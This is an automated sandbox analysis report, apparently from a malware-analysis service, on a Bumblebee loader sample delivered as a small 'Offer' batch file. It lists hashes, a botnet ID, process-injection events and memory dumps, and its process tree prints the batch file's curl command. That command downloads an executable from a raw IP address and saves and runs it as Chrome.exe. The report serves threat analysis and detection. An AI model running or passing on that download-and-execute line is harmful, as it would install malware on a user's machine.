bumblebee | d886b2d21f3c67c541e4d8532b5764efb62463a3b914512b27b02828f408e1ae

Analysis

max time kernel
149s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
11-05-2024 06:16

Target

11052024_0616_Offer202445.bat
Size

150B
MD5

cfd2cde674b0e3c6eec110d8ea178503
SHA1

a3a52588021e857d21e0703eb481e03fce19a892
SHA256

d886b2d21f3c67c541e4d8532b5764efb62463a3b914512b27b02828f408e1ae
SHA512

d24dae78c840049090c8956b41bf4e3df6e4b74c8f46e25cec8ec731b011960a8ce2e6395ba4782eaa77271e23daf2a574434ebc1ffcacf9803648992ff6cc4c

Score

10^/10

Family

bumblebee

Botnet

asd1234

rc4.plain

Executes dropped EXE 1 IoCs

pid	Process
4524	Chrome.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1632 wrote to memory of 4348	1632	cmd.exe	82
PID 1632 wrote to memory of 4348	1632	cmd.exe	82
PID 1632 wrote to memory of 4524	1632	cmd.exe	89
PID 1632 wrote to memory of 4524	1632	cmd.exe	89

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\11052024_0616_Offer202445.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1632
- C:\Windows\system32\curl.exe
  curl.exe https://38.180.136.158/zvpQyKhJ/CvVOtRTXNA.ex_ --insecure --silent -o C:\Users\Admin\Chrome.exe
  2⤵
  PID:4348
- C:\Users\Admin\Chrome.exe
  C:\Users\Admin\Chrome.exe
  2⤵
  - Executes dropped EXE
  PID:4524

C:\Users\Admin\Chrome.exe

Filesize
1.4MB

MD5
964659952e417aba19ad98f07fd609a8

SHA1
98962da0094075fc916a6f3f2237431a814c2c51

SHA256
6e94952b69c582a3ffd0cba8d288328269a852b4a6f71ac1bd5ca34a782bdc4d

SHA512
1a46bba6a33cb698400ab03085a9d3f3cd1b59eb024be07d875683d9ec0051dd45954c3e985b11dae42aa325ab2ef5a4cb25b1c53d3e8a63ae9feffaa832f74a

Download Submit
memory/4524-4-0x000002BE69300000-0x000002BE693FF000-memory.dmp

Filesize
1020KB

Download
memory/4524-5-0x000002BE69720000-0x000002BE69934000-memory.dmp

Filesize
2.1MB

Download
memory/4524-6-0x000002BE69720000-0x000002BE69934000-memory.dmp

Filesize
2.1MB

Download
memory/4524-7-0x000002BE69720000-0x000002BE69934000-memory.dmp

Filesize
2.1MB

Download